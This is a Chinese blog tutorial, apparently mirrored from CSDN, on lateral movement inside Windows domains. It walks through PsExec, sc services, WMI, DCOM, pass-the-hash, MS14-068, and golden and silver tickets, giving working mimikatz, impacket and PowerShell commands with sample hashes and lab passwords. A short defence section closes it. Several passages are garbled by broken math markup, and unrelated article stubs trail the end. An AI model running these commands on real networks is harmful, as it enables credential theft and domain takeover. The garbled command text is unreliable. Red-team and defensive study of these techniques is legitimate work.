当前位置: 首页 > news >正文

内网渗透-内网环境下的横向移动总结

内网环境下的横向移动总结

文章目录
  • 内网环境下的横向移动总结
  • 前言
  • 横向移动威胁
    • 威胁密码安全
  • 威胁主机安全
    • 威胁信息安全
    • 横向移动威胁的特点
  • 利用psexec
    • 利用psexec.exe工具
    • msf中的psexec
  • 利用windows服务
    • sc命令
      • 1.与靶机建立ipc连接
      • 2.拷贝exe到主机系统上
      • 3.在靶机上创建一个shell的服务
      • 4.启动shell服务
      • 5.删除创建的shell服务
  • 利用WMI
    • 查询进程信息
    • 远程创建进程
    • wmiexec
  • impacket中的wmiexec.py
  • wmiexec.vbs
  • Invoke-WMIMethod
  • 利用DCOM
    • 调用MMC20.Application远程执行命令
    • 调用9BA05972-F6A8-11CF-A442-00A0C90A8F39
    • 调用Excel.Application远程执行命令
  • PTH(pass the hash)
  • PTT(pass the ticket)
    • MS14-068
  • 利用mimikatz ptt
    • 1.获取普通域成员的SID
    • 2.生成TGT票据
    • 3.票据注入
    • 4.klist查看缓存票据
    • 5.建立ipc连接
  • 利用kekeo ptt
    • 1.生成票据
    • 2.导入票据
    • 3.查看票据并访问域控
    • Golden ticket
  • Sliver ticket
  • PTK(pass the key)
  • 防范
    • 一、防止攻击者窃取密码
    • 二、防护哈希传递攻击
    • 三、监控异常活动
    • 四、更改系统配置

前言

在内网渗透中,当攻击者获取到内网某台机器的控制权后,会以被攻陷的主机为跳板,通过收集域内凭证等各种方法,访问域内其他机器,进一步扩大资产范围。通过此类手段,攻击者最终可能获得域控制器的访问权限,甚至完全控制基于Windows操作系统的整个内网环境,控制域环境下的全部机器。

横向移动,是攻击者侵入企业系统时,获取相关权限及重要数据的常见攻击手法。了解横向移动的原理有助于个人和企业更好地维护网络安全。

近年来,随着网络攻击、勒索事件频发,企业安全防护需求迅速上升,传统安全防护中以密码和权限管理为核心的单一防护模式愈发不能满足目前的网络安全环境。因而,深入了解攻击思路,“对症下药”,是目前网络安全行业发展的重要方向。

本篇文章将就“横向移动”这一典型攻击行为进行简单阐述,从攻击者视角还原“横向移动”攻击过程中的典型场景,为深入剖析“横向移动”攻击行为提供简单参考。

简单来讲,横向移动是指攻击者成功攻击一台计算机后,由该计算机横向跨越到另一台计算机,获取相关权限,进而窃取敏感信息的活动。

从定义上来看,我们不难发现,“横向移动”攻击的主要目标是企业关键信息及相关管理权限,而横向跨越的攻击属性也表明这一攻击行为多数情况下发生在企业内网中。

换个角度来讲,也正是由于企业内网中计算机存在聚集性,以及内网中一些集权管理设备储存有大量身份凭证信息及关键数据,使得企业内网更容易成为攻击者的目标,也就成为了横向移动的重灾区。

横向移动威胁

威胁密码安全

黑客横向移动的过程可能导致密码失窃,从而威胁到计算机内文件数据的安全。在企业办公网络中,大部分办公电脑都设置有密码、登录凭证,用以防止数据等相关私密文件被他人查看。这种情况下,黑客想要横向移动到加密主机,就要通过一些手段来获取密码,或窃取登录凭证。与其他的攻击方式相同,“弱口令”是黑客获取密码最简单的一类途径。尤其是主机RDP相关的弱口令,这类系统远控桌面服务的弱口令一旦被黑客利用,就能通过“撞库”等方式暴力破解,进而实现内网计算机的远程控制。而黑客窃取登陆凭证的方式主要包括:lsass内存读取、注册表读取、ntds 数据库读取等。在通过一系列手段窃取到登陆凭证后,黑客就能通过哈希传递、票据传递的方式登录目标主机。以上两种方式作为黑客横向移动的初始步骤,被广泛应用于APT攻击及横向移动攻击相关的威胁事件中。 例如,在前不久的美国燃油管道勒索攻击事件中,darkside攻击团伙从文件、内存和域控制器中收集凭据,并利用这些凭据来登录其它主机,再对重要数据和控制端口进行加密,进而实施勒索。 由此可见,横向移动造成的密码失窃严重威胁到包括关键基础设施在内的多种网络设施安全。

威胁主机安全

黑客在横向移动中使用远程控制目标主机的方式,导致主机安全受到威胁。 由于Windows系统自带连接远程主机执行命令的功能。在黑客获得账号密码的情况下,可以通过IPC(进程间通信)连接目标主机,建立安全通道,在该通道传输加密数据。而Windows的计划任务功能也常被黑客利用来定时激活病毒木马,达到长期威胁内网主机的目的。除了windows系统自带功能,黑客还经常使用一些工具来进行远程控制:

Psexec由于其强大的提权和远程命令执行能力,在横向移动中应用非常普遍。它不仅能以system权限来运行指定应用程序,还能在本机生成命令提示符窗口,只要输入命令,就能在远程主机上执行并返回结果。

Psexec被众多安全厂商加入查杀黑名单后,近几年,通过调用WMI来进行远程操作的工具也屡见不鲜。(WMI是一项Windows管理技术,通过它可以访问、配置、管理几乎所有计算机资源。)相比于Psexec,使用WMI执行远程命令基本不会在远程主机上留下日志,让黑客的行为显得更隐蔽。调用WMI来进行横向移动的工具包括WMIEXEC.exe、WMIEXEC.vbs脚本、Invoke-Command.ps1脚本和Invoke-WMIMethod.ps1脚本。其中WMIEXEC.vbs脚本可以获取远程主机的半交互式Shell,执行单条命令并返回显示结果。(Shell为用户提供了可以访问操作系统内核服务的界面)

威胁信息安全

黑客进行横向移动攻击,会窃取和泄漏大量信息,直接威胁信息安全。 几乎所有针对企业进行攻击的事件都与信息窃取相关。一旦突破安全边界进入内网,黑客们就会使用各种手段横向移动渗透内网其它主机,尤其是敏感信息存放主机。在勒索攻击事件中,最常见的勒索方式是:攻击者将信息加密后,以公开其机密数据的方式要挟赎金。 比如,著名的勒索攻击团伙海莲花,其常用手法是在内网中建立立足点后使用Cobalt Strike进行横向移动。通过Cobalt Strike扫描内网中存在的各类漏洞和配置问题,利用扫描结果进一步控制其它主机。最终窃取包括商业机密、机密谈话日志和进度计划等在内的各种资料,严重威胁制造、媒体、银行、酒店和基础设施的网络安全。

横向移动威胁的特点

由上,我们可以总结出横向移动威胁的特点,即威胁面大,威胁性强。
如何理解威胁面大?

从目标对象来说,横向移动威胁的不是某一台主机,而是多台主机,甚至整个内网。从黑客目的来说,黑客要利用他掌握的信息威胁企业,必须掌握到关键且大量的数据,就要通过横向移动不断扩大资产范围。
如何理解威胁性强?

黑客为了造成更大影响,通常选择重要的信息系统,如金融、电信、交通、能源等计算机系统,利用横向移动进行大面积网络攻击,导致系统瘫痪,严重影响基本的社会生活。如前文提到的美国燃油管道勒索攻击事件,和爱尔兰医疗服务机构遭受Conti勒索软件攻击事件,还有加拿大保险公司guard.me遭受网络攻击事件…… 另外,横向移动造成的影响让企业在后续恢复中也面临较大的困难。企业需要消耗许多人力财力对本次攻击溯源,找到并修补内网存在的漏洞,还需要耗费大量时间精力还原被黑客破坏的文件等资源,重新启动业务系统。

利用psexec

利用psexec.exe工具

下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。

psexec的基本原理:

  • 通过ipc

           连接 a d m i n 连接admin </span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.6944em;"></span><span class="mord cjk_fallback">连接</span><span class="mord mathnormal">a</span><span class="mord mathnormal">d</span><span class="mord mathnormal">min</span></span></span></span></span>,释放二进制文件psexecsvc.exe到目标</p> </li><li> <p>通过服务管理SCManager远程创建一个psexec服务,并启动服务</p> </li><li> <p>客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据</p> </li><li> <p>运行结束后删除服务</p> </li></ul> 
    

psexec的使用前提:

  • 对方主机开启了 admin
          共享,如果关闭了 a d m i n 共享,如果关闭了admin </span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.6944em;"></span><span class="mord cjk_fallback">共享,如果关闭了</span><span class="mord mathnormal">a</span><span class="mord mathnormal">d</span><span class="mord mathnormal">min</span></span></span></span></span>共享,会提示:找不到网络名</li><li>对方未开启防火墙</li><li>如果是工作组环境,则必须使用administrator用户连接(因为要在- 目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。</li><li>如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。</li></ul> 
    

使用如下命令:

  • -accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框
  • -u:用户名
  • -p:密码
  • -s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell

PsExec64.exe -accepteula \192.168.10.3 -u WIN-U8TRGT93CTR\administrator -p (password) -s cmd.exe
在这里插入图片描述
这里也可以先建立ipc连接后直接调用PsExec64.exe调用cmd

net use \192.168.10.3\ipc$ (password) /user:administrator
PsExec64.exe -accepteula \192.168.10.3 cmd.exe

在这里插入图片描述
也可以直接执行命令(在建立ipc连接的基础上)

PsExec64.exe -accepteula \192.168.10.3 ipconfig

在这里插入图片描述

msf中的psexec

使用search psexec寻找psexec模块如下图所示
在这里插入图片描述
这里最常用的有以下模块

exploit/windows/smb/psexec
exploit/windows/smb/ms17_10_psexec

这里说一下msf里面的这个psexec这个模块跟powershell原生模块的区别。我们知道powershell是在2008及以上的系统才有,在2008及以上的系统使用原生powershell免杀效果是要比msf里psexec生成的payload要好的。但是在2003及以下的版本是不自带powershell的,那么在这种情况下我们就只能使用msf的psexec生成的exe进行横向移动

这里唯一一点注意的就是msf的payload,需要用到反弹payload,即reverse_tcp在这里插入图片描述
运行可以看到为system权限在这里插入图片描述
psexec服务将会安装在远程系统中,此时将会生成 Event 4697、7045 这2种事件日志;有可能预生成Event 4624和Event 4652 Windows事件日志,日志会记录下该工具的使用数据。在这里插入图片描述

利用windows服务

利用windows服务进行横向渗透主要是通过sc命令,但是注意这里跟之前windows远程命令相比多了一个条件,即当前主机需要为administrator权限。

sc命令

sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。

利用sc命令进行横向渗透的大体流程如下:

1.与靶机建立ipc连接
2.拷贝exe到主机系统上
3.在靶机上创建一个shell的服务

sc \WIN-M836NN6NU8B create shell binpath= “c:\artifact.exe”

这里需要用cmd shell运行,否则会报错在这里插入图片描述

4.启动shell服务

sc \WIN-M836NN6NU8B start shell

5.删除创建的shell服务

sc \[host] delete [servicename]

利用WMI

WMI,是Windows 2K/XP管理系统的核心;对于其他的Win32操作系统,WMI是一个有用的插件。WMI以CIMOM为基础,CIMOM即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API;相反,操作系统的不同部分都可以插入WMI

由于刚刚提到的PsExec在内网中大杀四方后,很多安全厂商开始将PsExec加入了黑名单,所以攻击者暴露的可能性陡然增加。但是根据研究情况来看,Windows操作系统默认不会将WMI的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。

使用 wmic 远程执行命令,在远程系统中启动 Windows Mannagement Instrumentation 服务(目标服务器需要开放 135 端口,wmic 会以管理员权限在远程系统中执行命令

查询进程信息

wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process list brief
在这里插入图片描述

远程创建进程

wmic也可以用来调用cmd执行系统命令,跟at命令类似,wmic调用cmd的时候也是没有回显的,所以我们还是写入txt用type命令进行查看

wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process call create “cmd.exe /c ipconfig > C:\result.txt”

在这里插入图片描述
使用type命令读取写入txt的结果如图所示
在这里插入图片描述

wmiexec

wmiexec是windows自带的wmic的加强版,在渗透过程中使用wmiexec会比wmic和psexec更加方便,这里就介绍几种常用的wmiexec工具进行渗透。

impacket中的wmiexec.py

首先在github上下载impacket安装包:https://github.com/SecureAuthCorp/impacket

使用命令

python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shell
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP “ipconfig” // 执行命令

在这里插入图片描述

注意:对于运行时间较长的命令,例如ping、systeminfo等,需要添加-wait 5000或更长时间的参数。

由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以wmiexec.vbs在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。为了解决这个问题,加入了“-persist” 选项。

当命令加了“-persist” 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。

wmiexec.vbs

wmiexec.vbs 可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell

cscript.exe //nologo wmiexec.vbs /shell 192.168.10.3 administrator (password)

在这里插入图片描述
输入如下命令,使用 wmiexec.vbs 在远程主机上执行单条命令

cscript.exe //nologo wmiexec.vbs /cmd 192.168.10.3 administrator (password) “命令”

在这里插入图片描述

Invoke-WMIMethod

利用 PowerShell 自带的 Invoke-WMIMethod,可以在远程系统主机上执行命令和指定程序
#目标系统用户名

$User = “WIN-U8TRGT93CTR\administrator”

#目标系统密码

Password= ConvertTo-SecureString -String “qwe123!@#” -AsPlainText -Force

#账号密码整合,导入Credential

$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password

#远程运行计算器程序

Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList “calc.exe” -ComputerName “192.168.10.3” -Credential $Cred

在这里插入图片描述
这时候靶机进程就会出现calc.exe
在这里插入图片描述

利用DCOM

这里先提两个概念,COM和DCOM

COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。一般的对象是由数据成员和作用在其上的方法组成,而组件对象和一般对象虽有相似性,但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”,其实质是一组函数指针表,每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。

关于这个COM,其实应该有很多师傅见过,那就是在windows情况下php为数不多的几种disable_functions的方法之一,就是利用windows的COM组件进行绕过,这里我就不往深处拓展了

DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM 使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法。

攻击者可使用 DCOM 进行横向移动,通过 DCOM,攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。

使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。例如我们滥用ShellBrowserWindow COM对象,那么就会在远程主机的现有explorer.exe进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向DCOM公开方法,因此防御者可能难以全面监测所有程序的执行。

这里利用DCOM进行横向移动有两个条件:

1.能关闭靶机防火墙
2.拥有cmdshell、靶机需要使用administrator账户

DCOM进行横向移动的操作如下:
1.与靶机建立ipc连接
2.cs生成木马使用copy命令上传到靶机
3.调用DCOM远程执行命令

调用MMC20.Application远程执行命令

通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例。

$com = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,"192.168.52.138))

在这里插入图片描述
执行以上命令我们就可以调用ExecuteShellCommand方法在远程主机上启动进程
在这里插入图片描述

调用9BA05972-F6A8-11CF-A442-00A0C90A8F39

通过调用9BA05972-F6A8-11CF-A442-00A0C90A8F39来执行exe文件

$com = [Type]::GetTypeFromCLSID(‘9BA05972-F6A8-11CF-A442-00A0C90A8F39’,“192.168.52.138”)

      o b j = [ S y s t e m . A c t i v a t o r ] : : C r e a t e I n s t a n c e ( obj = [System.Activator]::CreateInstance( </span><span class="katex-html"><span class="base"><span class="strut" style="height: 0.8889em; vertical-align: -0.1944em;"></span><span class="mord mathnormal">o</span><span style="margin-right: 0.0572em;" class="mord mathnormal">bj</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right: 0.2778em;"></span></span><span class="base"><span class="strut" style="height: 1em; vertical-align: -0.25em;"></span><span class="mopen">[</span><span style="margin-right: 0.0576em;" class="mord mathnormal">S</span><span class="mord mathnormal">ys</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span class="mord mathnormal">m</span><span class="mord">.</span><span class="mord mathnormal">A</span><span class="mord mathnormal">c</span><span class="mord mathnormal">t</span><span class="mord mathnormal">i</span><span style="margin-right: 0.0359em;" class="mord mathnormal">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span style="margin-right: 0.0278em;" class="mord mathnormal">or</span><span class="mclose">]</span><span class="mspace" style="margin-right: 0.2778em;"></span><span class="mrel">::</span><span class="mspace" style="margin-right: 0.2778em;"></span></span><span class="base"><span class="strut" style="height: 1em; vertical-align: -0.25em;"></span><span style="margin-right: 0.0715em;" class="mord mathnormal">C</span><span class="mord mathnormal">re</span><span class="mord mathnormal">a</span><span class="mord mathnormal">t</span><span class="mord mathnormal">e</span><span style="margin-right: 0.0785em;" class="mord mathnormal">I</span><span class="mord mathnormal">n</span><span class="mord mathnormal">s</span><span class="mord mathnormal">t</span><span class="mord mathnormal">an</span><span class="mord mathnormal">ce</span><span class="mopen">(</span></span></span></span></span>com)<br> $item = $obj.item()<br> <img src="https://img-blog.csdnimg.cn/12b8f60b334947e2b75b159f3cd6afb6.png" alt="在这里插入图片描述"></p> 

调用Excel.Application远程执行命令

// 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:

$com = [activator]::CreateInstance([type]::GetTypeFromprogID(“Excel.Application”,“192.168.52.138”))

$com.DisplayAlerts = $false

// 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程

com.DDEInitiate(“cmd.exe”,“/c C:\shell.exe”)

PTH(pass the hash)

pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

pass the hash原理:

  • 在Windows系统中,通常会使用NTLM身份认证

  • NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)

  • hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash

  • 如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

这类攻击适用于:

  • 域/工作组环境
  • 可以获得hash,但是条件不允许对hash爆破
  • 内网中存在和当前机器相同的密码

微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。

如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。

从windows到windows横向pth这一类攻击方法比较广泛。

首先使用mimikatz抓取域管hash,注意mimikatz在抓取到hash之后是不能够直接复制的,所以我们这里选择用log参数将抓取到的hash输出为txt

mimikatz log privilege::debug sekurlsa::logonpasswords

在这里插入图片描述
使用mimikatz hash传递

sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8

在这里插入图片描述

PTT(pass the ticket)

PTH部分基于NTLM认证进行攻击,而PTT基于kerberos协议进行攻击

PTT中最常见的三种攻击方式为:MS14-068、黄金票据、白银票据

MS14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。

MS14-068对应的补丁为KB3011780,接下来说一下MS14-068的利用过程

利用mimikatz ptt

1.获取普通域成员的SID

在这里插入图片描述

2.生成TGT票据

ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码

MS14-068.exe -u mars2@Drunkmars.com -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 -p (password)

在同目录下生成了.ccache文件在这里插入图片描述

3.票据注入

使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器

通过mimikatz进行票据注入

mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中

在这里插入图片描述

4.klist查看缓存票据

在这里插入图片描述

5.建立ipc连接

可以看到我们这里已经提升到dc权限,这里需要注意一个问题,如果要使用psexec或者wmi进行远程执行命令的操作,这里的ip就要换成主机名字,否则无法登录成功
在这里插入图片描述

利用kekeo ptt

这里使用到不用管理员权限进行ptt,使用到kekeo

1.生成票据

kekeo "tgt::ask /user:mars2 /domain:Drunkmars.com /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8

在这里插入图片描述

2.导入票据

kerberos::ptt TGT_mars2@DRUNKMARS.COM_krbtgt~Drunkmars.com@DRUNKMARS.COM.kirbi

在这里插入图片描述

3.查看票据并访问域控

在这里插入图片描述

Golden ticket

Golden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。

那么如果获取到了krbtgt的密码hash值,就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门

伪造黄金凭据需要具备下面条件:

  • krbtgt用户的hash(就意味着你已经有域控制器权限了)
  • 域名称
  • 域的SID值
  • 要伪造的用户名
  • 先登录域控制器,dump krbtgt用户的hash值,获取域sid

privilege::debug
lsadump::lsa /patch

在这里插入图片描述
登录普通域用户生成TGT凭证

kerberos::golden /user:administrator /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-1107 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /ticket:gold.kirbi

在这里插入图片描述
注入黄金票据并访问域控
kerberos::ptt gold.kirbi在这里插入图片描述
如果开启rpc服务则可以用winexec.vbs直接连接,这里我的域控没有开启rpc服务,所以这里连接没有成功在这里插入图片描述

Sliver ticket

Sliver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。

不像是Golden ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。

白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。

登录DC,抓取ntlm hash

mimikatz log privilege::debug sekurlsa::logonpasswords

在这里插入图片描述
在普通域用户中生成票据

kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt

在这里插入图片描述
查看票证访问域控
在这里插入图片描述

PTK(pass the key)

在连接配置的时候允许使用hash进行认证,而不是只有账号密码才能认证。

就是由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的。不管是rubeus还是impacket里面的相关脚本都是支持直接使用hash进行认证。其中,如果hash的ntlm hash,然后加密方式是rc4,这种就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key。在很多地方,不支持rc4加密方式的时候,使用pass the key不失为一种好方法。

获取aes key

mimikatz log privilege::debug sekurlsa::ekeys

在这里插入图片描述
注入aes key

mimikatz “privilege::debug” “sekurlsa::pth /user:mars2 /domain:Drunkmars.com /aes256:a207497d6c9df363b6658271ac0df1862c395d6b32003a5207dde3803f7dae0d”

在这里插入图片描述

防范

黑客横向移动的手段已经非常成熟。除了病毒中的自动化横向移动模块,目前也已经有许多横向移动的工具被广泛使用。因此,对横向移动的防护是目前内网安全防护中的重中之重。其核心目标是,即使黑客进入企业内网,也能通过一系列防护手段阻止他渗透到更多主机,为相关权限及关键数据提供安全防护。

我们可以得知,攻击者在横向移动过程中,其最终目的是登陆目标主机并窃取机密数据。因此我们必须采取多种防护措施,以防止攻击者窃取密码或进行凭证传递。除此之外,还可利用监控手段来探查攻击者的踪迹,并增加系统配置以提高域内安全性。 接下来将会详细介绍以上所述:

一、防止攻击者窃取密码

在使用WDigest(摘要式身份验证)的系统中,密码会以明文形式存储在内存,攻击者通过Mimikatz可以直接抓取密码。为了防止密码泄露,我们可以关闭WDigest。但该功能只有在Windows Server 2012以上版本的系统才能被关闭,而在Windows Server 2012以下版本的系统中只能通过安装补丁KB2871997来解决问题。

KB2871997支持RDP 网络登录,即在登录过程中使用登录令牌来进行身份验证。这种方法不会在RDP服务器中存储用户凭证,用户注销时,也会清除主机缓存中的凭证,以此来保护凭证安全。

同时,KB2871997支持创建“受保护的用户”组。只要把域功能级别设置为Windows Server 2012 R2,系统就会创建受保护的组,在该组中的用户只能使用Kerberos协议进行身份验证。相比于WDigest,Kerberos验证方式更安全,因为它不会在内存中存储明文密码。 想要防止密码被盗的话,除了安装补丁,我们还需要对攻击者常用的工具进行防范,比如Mimikatz。由于Mimikatz与内存(LSASS进程)交互需要Debug权限,我们可以将拥有Debug权限的本地管理员从Administrators组中移出。这样,当攻击者以本地管理员身份登录时,就没有权限使用Mimikatz从内存导出密码。

二、防护哈希传递攻击

通过以上手段,我们能有效防止黑客从系统中窃取明文密码,但是当黑客窃取到了用户凭据,使用哈希传递等手段登录系统时,并没有一个能彻底解决哈希传递的方法,我们只能减轻这种攻击。 这里介绍两种方法——Defender ATP和微软管理层模型。

Defender ATP : 是微软提供的一种安全工具,它能检测攻击者访问LSASS进程的行为。如果发现某时刻LSASS进程被读取的内存数量过多,就会报警,提示管理员“敏感凭据内存读取”。微软管理层模型 : 将不同权限的用户划分到不同层级,并规定高层级不能登录低层级。举例来说,将能够访问网络上所有关键服务器的管理员划分为第0级,将工作站管理员划分为第2级,那么即使黑客窃取到了关键服务器管理员的凭证,以管理员身份也无法登录关键服务器。

三、监控异常活动

攻击者横向移动过程通常难以被察觉,但我们可以分析其行为特征,监控是否有存在满足其特征的活动来确定系统是否被入侵。 对于在目标范围内安装恶意软件的横向攻击行为,我们可以监控应用安装情况。例如当安装应用的时间固定在一个时间段,而其它时间段的安装行为都将被认为是异常的。攻击者进行横向移动攻击的另一个典型行为就是窃取信息。通过监控文件创建行为和SMB传输文件行为,可以发现远程文件复制活动;通过监控可移动介质上的文件访问,能识别可移动介质复制行为;通过监控多文件写入共享能发现共享文件污染行为等。 如果攻击者已进入内网,为了防止他横向移动到更多主机,我们可以监测内网中活跃的用户账号,将这些账户设置为高风险账户,降低其权限,阻止其使用内网资源。 监控内网中的异常活动,能帮助我们发现攻击者侵入企业内网的行为,以便及时采取措施阻止其损害企业利益。

四、更改系统配置

给系统配置防火墙是防范一般网络攻击的重要手段,对横向移动攻击也能起到一定的作用。比如,通过配置防火墙的进站/出站规则阻止445端口的连接,能防范利用SMB协议漏洞的攻击;启用防火墙禁止RDP流量能防止RDP远程连接系统;启动域防火墙能阻止DCOM对象实例化。 此外,我们也可以通过配置Windows系统规则来防范横向移动攻击。当攻击者利用Windows打印机后台处理程序来执行特权操作时,我们可以禁用“允许打印后台处理程序接收客户端连接”,也可以直接禁用打印后台处理程序服务。 当系统遭受NTLM中继攻击时,我们可以禁用NTLM并切换成Kerberos验证,或启用SMB签名和LDAP签名等。(NTLM中继攻击:攻击者劫持受害者会话,将受害者凭证转发到其它服务器获取信任) 正确配置系统规则,不仅能防范横向移动攻击,还能保护系统资源的合法使用。

攻击者进行横向移动的手法多种多样,以上方法并不能完全防范横向移动攻击。要有效阻止横向移动,需要分析具体事件来制定有针对性的防护措施。

尤其是在企业等组织机构中,由于内网的复杂性,攻击团伙的手段也比较高超,一般的防护手段不能有效地防范横向移动攻击,要保护企业内网安全,最好选择专业的运营团队。

相关文章:

内网渗透-内网环境下的横向移动总结

内网环境下的横向移动总结 文章目录 内网环境下的横向移动总结前言横向移动威胁 威胁密码安全 威胁主机安全 威胁信息安全横向移动威胁的特点 利用psexec 利用psexec.exe工具msf中的psexec 利用windows服务 sc命令 1.与靶机建立ipc连接2.拷贝exe到主机系统上3.在靶机上创建一个…...

Linux命令学习—linux 的常用命令

1.1、改变目录 cd 目录的表达方法&#xff1a; /根目录 .当前目录 .. 上一级目录 ~家目录 #cd / 进入到系统根目录 #cd . 进入当前目录 #cd .. 进入当前目录的父目录&#xff0c;返回上层目录 #cd /tmp 进入指定目录/tmp #cd ~ 进入当前用户的家目录 #cd …...

【Git教程】(十)版本库之间的依赖 —— 项目与子模块之间的依赖、与子树之间的依赖 ~

